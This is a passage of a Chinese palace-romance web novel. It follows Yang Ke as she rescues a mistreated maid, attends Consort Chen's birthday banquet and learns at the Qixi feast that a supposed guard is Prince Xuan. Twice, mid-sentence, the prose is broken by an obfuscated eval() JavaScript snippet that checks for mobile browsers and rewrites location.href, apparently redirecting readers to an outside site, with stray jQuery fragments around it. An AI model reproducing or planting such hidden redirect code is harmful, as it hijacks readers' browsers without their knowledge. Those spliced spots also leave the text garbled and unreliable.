“你踢我做甚!”方才趾高气昂的太监们前仰后伏,瘫在一地的西瓜皮上,活像是田间地头偷吃西瓜的一群猪獾。 “我娘说遇见恶狗要撒黄豆。”她朝着杜衡眨眨眼,将手里顺来的瓜递给了杜衡,“虽然西瓜贵了点,不过皇宫里好像也不缺这点儿钱。” 二人一路回了凌薇苑,青桃见杨柯身后跟着名宫女,穿着打扮并非像是寻常宫殿的,于是疑道:“姑娘,内务府专门派了人来送酸梅汤吗?” 杨柯回首看了一眼杜衡,道:“哦,她是我们凌薇苑新来的朋友,以后便是凌薇苑的人了。” 杜衡当即跪下,垂首饮泪:“奴婢不敢,还请杨姑娘慎重,奴婢只是个没主子的奴婢,受不起杨姑娘的大恩大德。” 杨柯被她这阵仗吓住:“这……这是哪里的话?你没了主子,认我当新主子不就行了?” 青桃也道:“是啊,刚好咱们凌薇苑缺人,也不用我们再去内务府跑一趟了。” 杜衡为难道:“可是适才杜衡让姑娘误了宸妃娘娘吩咐的要事。” 杨柯忍俊不禁:“你这丫头,怎么这么实在?我连宸妃娘娘的样子都没见过,哪里会误了她的事?” 见杜衡疑惑地瞧着自己,她笑着解释:“还不是为了吓唬那群混账,胡乱编的一套说辞罢了。” 杜衡这才了然,又垂眸苦笑开来。 杨柯将她扶起,问道:“你叫什么名字?从前是鎏芳宫里的人?” 杜衡点头道:“奴婢名唤杜衡,从前服侍如嫔娘娘,半月前主子走了,被发配来刷恭桶。”杨柯回想起自己入宫那日,路过鎏芳宫时一群宫女围坐在一起暗自啜泣的场景,不禁心中一酸。于是走上前执起她的手,不看倒好,一看可不得了,原本洁白无骨的双手已经粗糙得像是麻布一般,还带着些酸涩的臭味,甚至连指甲缝都腌入味了。 杨柯立即吩咐道:“青桃,快拿些金创药来!” “好嘞。” 杜衡见她们热情友善,又想起这段时日自己的遭遇,不禁泛起泪花来:“多谢杨姑娘和青桃姐姐的照拂。杜衡福薄,能遇见杨姑娘这样的好人,实在是天降大恩。” 杨柯忙摆手道:“不必谢我,我刚来宫中,也被人欺负过,最见不得仗势欺人了。” 杜衡用力揩去脸上的泪痕,扯出一个笑容:“杨姑娘心善,宫中有您这样的人在,也是修来的好福气。” “你说得我都不好意思了,”杨柯想到自己平日里不是偷奸耍滑就是游手好闲,于是感叹道,“要是我这样的人都算好的,那这皇宫里的人得差成什么样儿啊?” 青桃拿着药走过来,听言赶紧捏了杨柯一把,杨柯这才反应过来自己又说错了话。 杜衡笑了笑:“杨姑娘为人谦逊,奴婢能侍奉您,也是奴婢的福气。” 杨柯竖起食指,以示郑重:“好了,在凌薇苑里,不许自称奴婢,从今往后,你就和青桃她们一样,都是我的姐妹。” 杜衡乖乖点头:“好。”这时,杨柯才仔细瞧了瞧杜衡的样貌,看她生的眉清目秀、伶俐乖觉,忍不住夸赞:“你生得一副聪明样,我呢,又刚刚入宫。以后啊,还得靠你帮衬着我呢。” 杜衡赶紧辩解道:“奴婢……我心智尚浅,恐怕辜负了姑娘期望。杜衡入宫三年,还做不到嬷嬷们那么厉害,主子打左脸,还能微笑着把右脸奉上,如今我受了罪,也只能不吭声。” 杨柯听了顿时傻眼:“这……这算哪门子厉害?不就是受虐吗?” 杜衡叹道:“宫中下人皆是苦命之人,进宫不过是混口饭吃罢了,能得到主子的好,自然是福气,可若主子不开心了,我们也只能受着,毕竟没了主子,我们也没地方活。” “什么歪理?”她想起前几日在崇文馆外被宇文泰嫌弃的遭遇就莫名血气上涌,登时气得跳脚,“她们是人,你也是人,哪有什么高低贵贱之分?杜衡,你进了凌薇苑,就快把那些稀巴楞登的东西抛到外面去!” 下午,杨柯又跑了趟内务府,向刘公公讲了杜衡一事,顺口说了几句公公的甜话,刘公公不仅一口答应,还让她顺走了一壶冰镇梅子酿。 杨柯喜滋滋地出了内务府,往天书阁去寻乐白。拐过九曲回廊时,她突然冲着鎏金檐兽龇牙:“今儿本姑娘高兴,特许你喝口杨氏特调——”壶嘴往石阶上一倾,晃出来的梅子香惊得蚂蚁排成歪诗。她见状乐不可支,继续启步前行。却不知自己这番举动,已被路过的宇文拓和宇文泰收入眼底。 “头一回见人这么高兴,”宇文拓也被杨柯的喜气带得扬起嘴角,“阿泰,你听说了么,今日晌午,内务府的西瓜车在大道上被人踹翻一地,陈瑞金那帮老头可是气得不轻。” 宇文泰略一垂眸,嘴角微不可见地上扬了一分:“有谁闲来无事要踹西瓜车?” 宇文拓拿下巴指了指杨柯远去的方向:“听说陈瑞金又拿宫女开涮了,刚巧碰上位伴读路见不平,踹翻了西瓜车,拉着那个小宫女跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207054|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。”说完微微拧着眉头,“真是奇了怪了,现在的女子都这么嚣张跋扈。” 宇文泰沉吟道:“宁可枝头抱香死,何曾吹落北风中。” 宇文拓听得不明所以:“北风?大热天的,哪来的北风?让我凉快凉快!” 宇文泰被他逗笑,二人继续前行,身影渐渐消失在回廊尽头。 天书阁里,杨柯一推开门,便瞧见乐白正踮脚去够顶上的《花间集》,当即开口调笑道:“李煜若见人拿他的词垫脚,怕是要从《虞美人》哭成《相见欢》。” 乐白见了来人,笑得露出两个梨涡:“阿柯,来得正好!我新作了首诗,你听听,‘银鞍照白马,飒沓如流星’,这句对仗可工整?”话音未落,手上的书卷里飘出半片泛黄信纸。 杨柯接住纸片,一眼看去,忽然觉得这字迹眼熟得很,倒是像云昌吉那封把“琴瑟和鸣”写成“琴虱合鸣”的回信,“对仗当然不错,不过乐白这诗……可有什么特别的用处?” 乐白的耳尖倏地红了:“我想把这首诗,送给一个人。” 杨柯的嘴角开始抽搐:“送给谁啊?” 乐白并未瞧见,又继续道:“有一年春猎,他用令牌替我挡了流箭。”粉白的脸上泛起红晕,“他说此物本是要赠给未来娘子的。”说完,从袖中取出半枚裂开的玄铁令牌。 杨柯的脑海里顿时浮现十岁生辰那年的场景:云昌吉顶着满头草屑,从房梁上摔下来,掌心躺着油光发亮的令牌,“爹说传家宝要给媳妇,你先帮我存着!” 她憋着笑指着那半枚令牌:“乐白你可知晓,当年这令牌还有个‘琴虱合鸣’的典故?”说着摸出怀中剩下的半枚,缺口与案上那块严丝合缝。 乐白一脸惊异,眼里随即覆满失落:“为何你也有令牌?他怎能……”接着淡眉一蹙,红唇一撅,左足一顿,“好啊,原来你们两个早有感情!” 杨柯急忙摆手:“这半个压根不算数!云昌吉和我从小光屁股长大,别说男女之情了,连一点儿那方面的苗头都没有。我对天发誓!”言罢,笔直竖起三根手指。 见杨柯一脸虔诚,乐白扑哧一声笑了出来,“那我信你了!”接着眼波一转,又撅着嘴道:“不过,你和章可馨打架那回,我看他倒是挺着急。” 杨柯见她嘴上虽犟,但实际已经气消,接着凑趣道:“嗯,是挺着急的,着急到光怵在一旁干叫唤,好不容易出手,又让章可馨给推到水里去了。”她见乐白笑着摇头,又继续道,“小时候,不是我给他擦屁股就是他拎着我逃跑,打架这种事也见怪不怪了,他若真要担心,多半也是怕我顶撞了他的羲王爷。”说完气得吹胡子瞪眼。 乐白轻轻戳了戳她的胳肢窝:“二哥做事向来说一不二,昌吉跟着二哥做伴读,自然不敢懈怠。” “行了行了,我的好姐姐,别帮他说好话了。”杨柯顺势将手臂搭上了乐白的肩膀,“您这位心上人啊,七岁还尿炕,拿《孙子兵法》当褥子晒;十二岁给姑娘写情诗,把‘琴瑟和鸣’写成了‘琴虱合鸣’。” 乐白听着沉吟不语,忽而启唇喃喃道:“他好可爱。” 杨柯嘴角又是一抽:“也……也算是可爱吧。” 她捉住杨柯的衣袖:“阿柯,你可千万别告诉他此事,我想给他一个惊喜。” “放心,我讲了也没用,说不定啊,他还以为你是为了督促他读书来的。”杨柯将案上的令牌递给乐白,憋着笑,贴着她耳语,“这呆子到现在还以为‘琴虱和鸣’是种暗器名呢。” 乐白愣了一瞬才明白过来,随即跟着杨柯咯咯笑倒在竹簟上。书案上的《花间集》啪嗒落地,正翻在“玲珑骰子安红豆”那页。等到笑意落下时,乐白小心地将令牌掖进了书册里。 10. 寿宴 戌时三刻的梆子声追着杨柯的脚后跟砸过来,她拽着青桃在回廊狂奔,“姑娘,咱们是不是要迟到了?这可是宸妃娘娘的寿宴哪!”二人终于赶到了景泰宫,哪知方才在房内磨蹭了太久,竟忘了时间。 “你没看那席间还跳着舞呢,咱们现在过去也不打眼。”杨柯说着便一个急刹拉着青桃汇进了送膳队伍,抬膳太监们被吓得差点儿将手里的八宝鸭酱汁泼在金砖上。 “对不住对不住!”她混在人群里,顺手把翘头履拎在手上,赤足踩着地毯溜进大厅。舞姬的裙摆擦着她鼻尖飞过,杨柯就势旋身钻进半幅鲛绡帐里,从客人的脚下摸回座位。 终于平安落座,乐白趁机嗔了她一眼。杨柯不好意思地冲她笑了一笑,转头过去,正撞见不远处一个熟悉的鬼脸——云昌吉不知何时猫在屏风后,正冲她比划着“差点露馅儿”的口型。杨柯悄悄伸手冲他摆了个拳头,昌吉顺势溜了回去。 殿中内臣正在将各宫送来的画轴古玩一一摆好,执事太监躬身递上洒金礼单,宸妃身侧的大宫女檀若接过,奉到她身前。宸妃端坐中央,肤若凝脂,眉如远黛,身披正红蹙金绣凤朝服,衣袖垂下的线条平顺,无一丝褶皱。 “今年西番进贡的雪域并蒂莲、暹罗国贡品金丝燕窝、漱风苑献玉雕冰鉴一盏、琅缳阁献翡翠白菜四颗、江南织造署呈千蝶穿花帐、镇北侯府献紫貂大氅……" 太监终于念完了礼单,宸妃淡淡点头:“嗯,都记下了?” “回禀娘娘,都记录在册。” 这一长串念名,听得杨柯入了神。她的视线随着宸妃移动,忽然注意到宸妃身旁一位仙子般的人物,看着年纪并不大,发髻挽着,已经成婚,但在宫中好像并没听说过有这样一位年轻的妃子。 趁着醒初过来递给青桃碟子,杨柯拉着醒初悄悄问道:“醒初,宸妃身边那位娘娘是谁?” 醒初朝她视线的方向望了一眼,低声笑着回道:“她哪是娘娘啊,那是孔阳公主。” 见她仍旧疑惑,醒初继续道:“孔阳公主乃是已故的公孙皇后唯一的女儿,先皇后在殿下五岁时就不幸病逝,陛下便特赐了公主封号,以表抚慰。不过公主如今成家,家庭幸福得很。三年前嫁与了刑部尚书魏长明魏大人,庆宁郡主就是他们的女儿。” “公孙皇后?是公孙大人的那个公孙?” “姑娘猜的没错,先皇后是公孙大人的姑姑,孔阳公主与公孙大人乃是表姐妹。” 杨柯凝神端详着孔阳,心中连连感叹,公孙家族果真出人才。可惜这样的神仙姐姐竟然小小年纪便没了母亲。 心里正想着,视线刚好对上宸妃的,杨柯差点被嘴里的玉液酒给呛住。 宸妃朝着她道:“这位姑娘看着眼熟。” 杨柯起身离席,于殿中下跪行大礼:“杨柯参见宸妃娘娘,祝娘娘万福金安、仙寿恒昌!” “快起身吧。”宸妃薄露笑意,“本宫记得你。你是黎初先生的弟子?” 杨柯恭敬起身:“回娘娘的话,正是。” 宸妃轻轻颔首:“黎初先生是朝中难得的贤才,泰儿和阿拓也曾拜教于先生门下。这么说来,你们三人还是同门师兄妹。” 杨柯想到他二人趾高气昂的样子便没好气,但嘴上仍回:“承蒙娘娘好意,恩师常教诲我,能在宫中当差,定要尽心尽力,不负娘娘与圣上的恩泽。” 这时,执事太监走到宸妃边上,在她耳边轻声道:“娘娘,殿下还在圣上那儿呢,今日朝上又因为将军的事闹了起来,殿下下了朝便进了勤政殿,到现在还没出来。” 宸妃一双淡眉微微皱起,抬眼又神色入常,柔柔缓缓道:“不急,差膳房做点牡丹银耳羹,送到勤政殿去。”公公闻言点头,弓着腰退下了。 宸妃继续道:“本宫听闻御书院给你甲等的成绩,缘是你写的诗在众多人选中拔得头筹。”她话音刚落,在场的人都窃窃私语了起来,好奇地打量着杨柯,想看看她到底是何方神圣。 孔阳公主放下手里的茶杯,言语是对着宸妃,但目光却一直落在杨柯身上:“这么多年试选,少说也有几百名女子,诗才高妙的可是少见。” 落座于宸妃右首的章可馨倒是开口了:“会写诗的人也不少呀,前年来的珍珠不也是拿了甲等。”她一说完,全场皆是一滞。 孔阳扑哧一笑,打破了沉寂:“馨儿可真是哪壶不开提哪壶。珍珠这个叛徒,岂能与我朝的女子相提并论?” 章可馨脸色尴尬,红晕爬上粉颊,抬眼偷偷瞅了宸妃一眼,见宸妃神色略微僵硬,便垂下眸子,不敢再说话。 杨柯见这情况,估摸着章可馨提到了不该提的人。于是也微微低头,垂下眼凝望着面前的万字团花金砖。 宸妃的声音从身前传来:“之前不曾见过你,如今可好,终于见到你了。可否给我们讲讲你都写了什么诗?” 杨柯倒也不怯,直言道:“臣的诗名为《逍遥行》。无非是抒发逍遥人间,自由自在之意,也是效仿诗仙李白的风格。” “这《逍遥行》倒让本宫想起开元三年,李太白初入长安时作的《相逢行》。你可知他为何独爱云月之喻?” “依臣拙见,云月看似逍遥物,实为李白心境的象征,”她忽而忘记了下一句,停顿了一瞬,幸好乐白在边上提醒,又继续接了上来,“云遮月是怀才不遇,云散月明则是直挂云帆济沧海。” “瞧瞧这机灵劲儿!上月娘娘刚用‘云’字令考较六宫,连丽妃都接不上‘云想衣裳花想容’的典故呢。”一旁的绾嫔扇着骨扇,轻笑着调侃道。 宸妃颔首微笑:“本宫库里有套文房器具倒合你性子,”说着,身旁的檀若捧上缧钿漆盘,掀开锦袱,“这鼠须笔用的是天山北麓黄狼尾,墨锭掺了贞观年间的龙涎香。” 杨柯双手接盘,扬声道:“多谢娘娘厚爱。臣这就把笔尖蘸满太液池水,定要写出比‘天子呼来不上船’更放肆的诗句!” 众人闻言皆畅怀大笑,席间其乐融融。 “妹妹来迟了。”殿外远远传来一道人声,席间笑声顿停,众人皆凝神回望着来人的方向。只见她一身茜色织金牡丹纹缂丝大氅,孔雀翎镶边随步伐翻涌成青碧浪涛,领口缀十二颗南海珠,行走时难掩熠熠虹光。身后跟着一队人抬着个巨大的器物,那器物被红布盖住,公公们满头大汗,脚下直抖,但过门槛时仍是瞻前顾后,生怕有个什么闪失。 孔阳公主冷冷开口道:“丽妃入宫也有了二十几年,多打扮打扮也是常理。” 丽妃满面红光的脸瞬间转绿,头上的九凤衔珠累丝金钗也黯然失色。她瞧了一眼身后,脖子立即重新梗直了些,冷眼瞥了孔阳一眼,抬手扶了扶头上的金钗:“姐姐的生辰何其隆重,妹妹岂能胡乱装扮了就来?”给了身侧的侍女一个眼神,“柴云,打开吧。” 器物旁垂首的侍女柴云点头,随即抬手示意身后的太监们将红布掀开。红布落地,众人皆惊得倒吸一口冷气。 “这是拓儿上个月从东瀛进贡品里挑出来的,我看着着实稀奇,就留下来准备送给姐姐。” 宸妃从容起身,徐徐移步至丽妃身前,略带责怪地道:“怎么如此破费,这珊瑚礁实在是贵重。” 丽妃莞尔一笑:“姐姐莫客气,你我二人何必如此拘礼。” 孔阳公主仍是坐在席上,语气不咸不淡:“看来拓儿在朝廷里讨得不少好啊,昨日我还听说,他最近几年对政事着实上心,工部被他料理得井井有条,连易大人都自愧不如。” 丽妃闻言,脸色一僵。见丽妃的神色,杨柯对醒初问道:“易大人很厉害吗?” 醒初点点头:“易望林大人乃两朝老臣,也是凌渊阁十二功臣之一,如今虽官拜工部尚书,但他的话,六部不敢不听,就连在勤政殿也有几分份量。” “既然公主夸赞端王,为何丽妃要生气?” “公主这番恭维,虽听着不错,但分明是在讥讽端王殿下。” “为何是讥讽?” “端王殿下虽贵为皇长子,被当作未来储君培养,早早便被陛下赋予了协理六部的权力,可他终日沉迷于相扑顽耍,对朝堂之事不闻不问,连上朝都是能推则推,所幸有六部大臣们维持着正常运转,陛下也只能睁一只眼闭一只眼。前些月端王殿下还因为将御书院的夫子轰出了长宁殿,激怒了陛下,罚他闭门思过,现下哪里有上心的可能?” 只听丽妃冷笑一声:“公主这话是从哪儿听来的?不知是在恭维拓儿呢,还是在有意构陷说给陛下听呢?若是恭维,这后宫里没眼力见儿的奉承奉承他也就算了,若是故意说给陛下听,本宫还是奉劝公主离前朝的事远点儿,免得遭人非议。” 孔阳垂眸一笑,嘴角带着嘲讽和冷意,微末抬眼,定定看着她道:“看来丽妃娘娘还是有几分自知之明,孔阳岂敢擅自评论政事,左不过是道听途说罢了。” 宸妃见丽妃脸色越来越难看,笑着道:“今日是本宫的生辰,谁要讨论什么前朝的事情,就罚她吃酒一壶!” 丽妃旋即接道:“妹妹不胜酒力,若要吃酒,还不如让妹妹喝两壶的白水呢。” 众人跟着哄笑起来,气氛恢复如常。 杨柯早早吃饱,坐在座位上实在闲得无聊,便趁机退了出去。许是因为大家都聚在内殿,外殿竟反常地安静。她仰头望去,树梢新月弯弯,花园里的梨花开满,洁白落了一地,仔细一瞧,那梨花树下还坐了个通体雪白的梨花精。杨柯走近一看,它一身月白镶银细花纹底长袍,大片的莲花在白衣上若隐若现,一根银带束着一半的黑发高高地绑在脑后,眉下棕色眼眸在月光下清澈皎洁。 这哪儿是梨花精啊,分明是那晚拦她出宫的冤大头! 她正准备转身逃跑,却听男子无奈的声音柔柔地传来:“云舒,别再唤我进去了,我在这很自在。” 杨柯松了口气,柔声轻语道:“那我就不打扰你了。” 男子察觉不对,放下手中的酒壶,起身走了过来,“敢问姑娘是?” “大人继续喝酒吧,抱歉打扰了。”她边说边快步逃走。 男子拦在她身前,如玉的脸上荡漾着怡人的笑容:“原来是杨姑娘,我们又见面了。” 杨柯也对他呵呵一笑,这厮记性不差,现下只能希冀他不计前嫌。 “是啊真巧。”说完,她又察觉到气氛有些凝固,余光瞥见对方手里的酒壶,随即脱口道:“大人好雅兴,今日又在喝酒。”话毕便开始懊恼,这张嘴总是比脑子还快。 男子闻言轻笑:“闲来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207055|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无事罢了。” 见他好似并未想起,杨柯也顺势接道:“酒是个好东西,既能养身,又能健脾。” 他莞尔一笑,“宫里的酒怎么比得上酒坊里自在消遣呢?”说话的同时盯着她的眼睛,似乎要从里面探出点什么来。 杨柯刚放松的弦再次绷紧:“大人这说的是哪的话,要论起佳酿,酒坊哪能跟皇宫相比。” 男子早已察觉到她的紧张,也不再绕圈子了:“放心,那晚的事我不会告诉任何人。” 杨柯一愣,尤是不敢相信:“阁下为何要帮我?” “为何不能帮你?”月光洒在他的脸上,如玉般皎洁,“身在牢笼,却向往自由。我本是笼中鸟,为何要囚禁另一个?”他脸上的忧郁比那晚更加明了,举起手中的酒杯,“美酒也算是排遣忧愁的一种方式吧。” 杨柯确定此人再没有纠缠的意思后,便松了一口气:“都喝上酒了,还愁眉苦脸做什么?遇酒且呵呵,人生能几何。” 男子似被她感染,不自觉地扬起了嘴角。 杨柯兀自走到栏杆边上坐了下来:“我降生在商贾之家,从睁开眼那刻起便被人瞧不起。如今靠着自己的才华考进了宫,却被人污蔑是凭借师父的关系。如果要借酒消愁,那我岂不是得天天灌酒,迟早有一天醉倒在承影湖里淹死。” 男子听完朗声大笑:“多谢杨姑娘劝慰。不过,生在商贾之家又如何?被人污蔑又如何?时人不识凌云木,杨姑娘,这些流言蜚语不必放在心上。”说完将酒壶递给杨柯,杨柯接过也仰头灌了一口,甘醇酒香窜进心田,只觉一阵畅快淋漓。 杨柯虽讨得了遁光衣,却始终习惯不了皇宫里走一步想一步的调调,呆的越久便越觉束缚。这回碰到此人,行事作风与宫中人物皆为两样,本就稀奇,听他这番言语,真诚恳切,不禁感动,竟生出了知己莫逆之情。 杨柯余光瞥见他手边放着本《明斋广录》,书页微微皱起,估摸着翻了许久,“大人平日喜欢看些传奇话本?” 他有些疑惑地看向她,泠泠的月光照得他琥珀眼瞳格外清透,像是一只林间的小鹿。 杨柯将书拾起,翻了翻,道:“我也爱读姑苏悠悠客,他不仅写传奇话本,还作得一手好诗。”其实这姑苏悠悠客是两个人,写话本的是杨柯曾经的私塾同学苏逸,而另一个作诗的就是杨柯自己。他二人平日上学不爱听课,趁着先生不注意,喜欢在书本底下写点东西,后来写得多了,两人便胡乱诹了个笔名,出了些书。 男子认真道:“我平日里爱读他的诗集,见他还有传奇话本,便买来看看。” 杨柯听言心里一喜,随即又一奇:“诶?不对呀,我瞧你这本怎么章节不全,好像被删过。” “原来如此,我初读时还觉得情节跳脱,本以为是自己肤浅,不理会作者深意,没想到是这个原因。” 哪有读者反省自己的?杨柯看着他无辜的样子,忍不住笑道:“何必为书找自己的不快?读得畅快便是好书,读得不舒服了,扔到一边去便是。”又继续胡诌下去,“这姑苏悠悠客我也见过,从前还在同一个书院上过课。彼人写文动机略显功利,见传奇话本风靡于世,便只做话本,再也不作诗了。不过他的水平嘛,倒是不错。若你有兴趣读一读全本的《明斋广录》,不妨稍等几日,我设法寻得一册,赠予你细细品读。”其实压根儿不是苏逸的错,就是杨柯自己懒,光贪玩不写诗,苏逸只得发些传奇故事出去维持名声。 男子听后,眼中露出赞赏:“能有杨姑娘如此胸有丘壑的人慷慨相助,在下实在幸运。” 杨柯脱口道:“我胸前只长了两坨肉,可没什么沟啊壑的。” 男子听言愣了一瞬,旋即敞怀大笑,又举起酒壶,酣畅快饮。 一口烈酒下肚,杨柯不免又冒出了长年混迹酒巷沾染的流里流气,不过对方竟不感觉冒犯,她不禁对他的身份更加好奇起来,于是问道:“敢问大人姓氏?以后也好常登门拜访、探讨诗作。” 男子方才脸上的笑意逐渐褪去:“在下不过是个禁军侍卫,不足为名。” 杨柯打量了他一瞬,摇摇头:“看着不像。” 对方笑道:“哪里不像了?” “寻常的侍卫要说武功高超,倒是不假。但若说起风花雪月、诗词歌赋,就连字也是不认识的。”云昌吉不就是个例子,他从来只会舞刀弄剑,扔给他一本书,他能立马睡着。 “姑娘真是幽默。一文不识如何,耍枪使棒又如何,都不过是为人臣罢了。” “话虽是这么说,但是大人这般才华入了羽林卫,岂不是有些浪费?” 男子谦虚道:“杨姑娘言过了。我倒是十分佩服你,能在规矩森严的宫中,保持自己的个性,实属难得。”他话锋一转,语气中多了几分认真,“不过,宫中不比其他地方,还需小心谨慎,不然下次出宫时,碰到的就不光是我了。”说着他站起身来,拱手道:“宫门晚间还需值守,在下先行一步。” 杨柯起身还礼:“兄台公务要紧,改日再聚!” 见他走远,杨柯也往外去。黑夜中的宫墙上空蓦地闪过一道人影,看得她顿时毛骨悚栗,一眨眼的功夫,又什么也看不见了。顺着那人影的方向望去,好像是宣王所在的翠微殿。 11. 七夕 日子一晃便到了七月初七,陛下惯例驾幸青莲池中的紫萝殿庆祝七夕,并赐宴百官。 宴设紫萝殿西翼揽月阁之上,十二扇檀木隔扇尽开,正对着云栖山三十六叠青嶂。殿中七宝灯缀满双星纹样,金盘盛着巧果酥山,檐角悬着五彩乞巧丝。底下青莲池内金鳞乍跃,新荷初绽,池中横列有四艘彩船,又有两艘画舫相伴在侧,中有乐伎调琴吹笙,乐声悠扬。 “众爱卿今日齐聚紫萝殿,朕着实高兴,好久没有这么热闹过了。” 坐于皇帝右首的易望林开口道:“陛下请看今夜星空,紫微星与天市垣交辉于东南,恰应牛女渡河之瑞。此乃陛下圣德广被,上感于天,方有这般祥瑞之象。许是天象呈祥,今年工部在渭河的拓宽工程已经顺利竣工。” 户部尚书郑仪跟着起身应和:“陛下,户部今年新定的‘折银减赋法’也有所成效。” 皇帝朝他们连忙摆手:“好了好了,今日是七夕佳宴,把政务那一套先抛到脑后去吧。”说完转头对着身边的宸妃柔道,“凝儿,前几日你过生辰,朕没能来陪你,实在抱歉。” 宸妃笑道:“陛下这是何必,您平日里对臣妾百般呵护,臣妾觉得每一日都似生辰一般开心。” “你这么想,朕更加愧疚了,今晚就去景泰宫,好好补偿补偿你。” 杨柯听了这对话,身上起了一身鸡皮疙瘩,原来皇家夫妻也能如此肉麻。 宸妃对面的丽妃忽然娇嗔道:“陛下,臣妾要是能生在十月就好了。” 皇帝一奇:“丽儿,你说这话是为何啊?” “每年十月都是陛下出塞练兵之时,要是臣妾在这期间过生,那陛下岂不是也会将臣妾记挂于心?” 皇帝仰头大笑:“丽儿啊,朕真是拿你没办法。”话毕,他抬手朝向右首,“今日,朕更加高兴的,是能亲自见见他们。” 齐坐于右首的众伴读纷纷起身行礼:“臣叩谢陛下。” 宸妃和言道:“他们来了以后,宫里都活泛了不少。” 皇帝冲着伴读们抬手:“好!有你们在,大夏未来的江山社稷,朕就放心了。”接着,他环顾四周,高堂满座,唯独一处席位空出,于是疑道:“喻儿去哪儿了?”话音甫落,一阵琴音袅袅徐徐,自远处隐隐传来。 众人尽皆转头,循那琴声望去,但见青莲池上,不知何时悄然笼起一层薄雾。原本整齐排列的四艘彩船,此刻已分列两旁,留出一条水道。远处一叶扁舟,悠悠荡荡从中央飘然而至。舟头端坐着一位身着素白衣衫的男子,身前一架古琴,想来琴音正是由此而来。 众人皆被吸引得纷纷探身张望,欲知何方高人能奏出这般天籁之音。然那男子面上覆着银色面具,将面容遮得严严实实,叫人难以看清其庐山真面目。 烟水氤氲处,但见那人十指游龙,琴声隐现雷纹焦尾,弦鸣似裂帛碎玉,倏尔转作幽涧清泉。 席间一人惊呼:“伯牙移情,六马仰秣!”原是琴声响起,池中青莲应声次第绽放,惊得游鱼跃波相和,此乃传说中伯牙抚琴时才会出现的天人交感之相。 曲至中段,古琴铮然破音,船上白衣客广袖翻飞如鹤舞。众人抬首望去,四艘彩船上的琉璃灯不知何时尽数点亮,照见池底深处浮出的千百点银鳞——池中锦鲤衔着褪下的花瓣,将扁舟围在中央,花瓣泛起九重涟漪,扑腾好似满池雨点,齐声随节拍轻摆。随着琴音渐弱,池中雨点逐渐平息,待最后一声泛音没入水面,池间白雾已如素绡缓缓收卷。众人恍然惊醒,方知置身尘世,回神之际,仍觉意犹未尽。 “陛下,都说宣王有伯牙之技,今日听来,果真不假!”一人笑着赞叹,其余人也纷纷点头称奇。 “老田,我这七弟可不是一般人,”宇文拓衔着酒杯,视线转向皇帝的方向,“父皇,我看伯喻去了一趟湘楚,琴技倒是越发精湛了。” 陛下对这样的夸赞自然受用,脸上的笑意就没消减过。 那船渐渐驶向岸边,向他们靠近。宣王撩袍上岸,款款走来,站定在席位中央,向陛下作揖行礼。 席间不少女子虽神色如常,但皆是齐齐转头,欲探宣王之姿。 皇帝笑问道:“喻儿,这池中青莲、锦鲤为何如此听话,难道真有天人交感这样的奇观?” 宣王欠身回道:“儿臣还要多谢二哥鼎力相助。” 皇帝脸上疑惑,视线转向左首的宇文泰,只见他从席间起身道:“回禀父皇,儿臣在池底暗藏了三百青铜莲苞,以磁枢引琴声震动触发。”话音之间,池水忽泛幽蓝磷光,照出水面下纵横交错的铜链网,“锦鲤闻声而动,因其颌下嵌有磁石珠,闻宫调则聚,遇商音则散。” 皇帝闻言,不由拊掌而笑:“多亏了你的聪明才智。你们兄弟二人齐心协力,为我们献上这番精彩表演,朕要好好犒劳你们。” 宇文泰笑道:“雕虫小技罢了,能为七弟精绝琴技略添几分光彩,倒也不费其用。” 皇帝满意点头,视线转向宣王:“喻儿,朕近日倒是听闻有诸多人假借汝名在外吟诗著书,此事可属实?” 宣王拱手欠身:“回禀父皇,那些写的好的,儿臣不敢掠美;那些差强人意的,若他们能用儿臣的名声来博得更多关注,何不成人之美?” 好一个滴水不漏的回答!既维护了自己的名声,又宽容了那些偷名盗誉之人。杨柯暗自称赞,不愧是师父都看好的皇子。不过,听他这声音怎么莫名熟悉? 皇帝笑着点头:“今日是七夕家宴,既然表演结束了,便将面具摘下吧。” 宣王颔首,伸手身前,将面具取下,露出了真容。 杨柯也探头去看,视线触及的那一瞬,心跳莫名快了一拍,本要伸手去摘的葡萄竟从指尖滑落。 是他!前几日在景泰宫外与自己相谈甚欢的侍卫,竟是当朝皇帝第七子、宣王宇文伯喻! 宣王启步还席,坐下时似乎往皇帝右首侧头略望,杨柯慌乱地垂眸,像是做贼一般心虚,但又奇怪于自己的反应,明明骗人的是他,可自己却如临危上阵一般手忙脚乱。 杜衡在一旁低声向她介绍:“宣王殿下乃陛下最为钟爱的皇子。因他聪慧过人,才情出众。陛下见他,仿佛得见年少时的自己,故而对殿下的恩宠远非其他皇子所能企及。通常皇子年满十五,便需迁出皇宫、另立府邸。而陛下却一直将宣王留在宫中,直至十八才让他出宫居住。如今又因为常常召见他,来回甚是费时,便为他开了先例,准他在原先的翠微殿住下,这等待遇,除了因协理政务甚得皇心的羲王外,只有宣王了。” “原来如此。”杨柯故作了然地点头,实际是在强装镇定,不想让杜衡看出她的异样来。 杜衡疑惑道:“诶,姑娘的诗词才华同样不俗,到宫中也久了,怎么会不认识宣王?” 好不容易恢复冷静,杨柯重又紧张了起来。与宇文伯喻的两次相遇皆系违反宫规出逃,她又后知后觉,两次都未看出他身份不凡,他说什么自己便信什么,哪里会想到他其实是宣王。 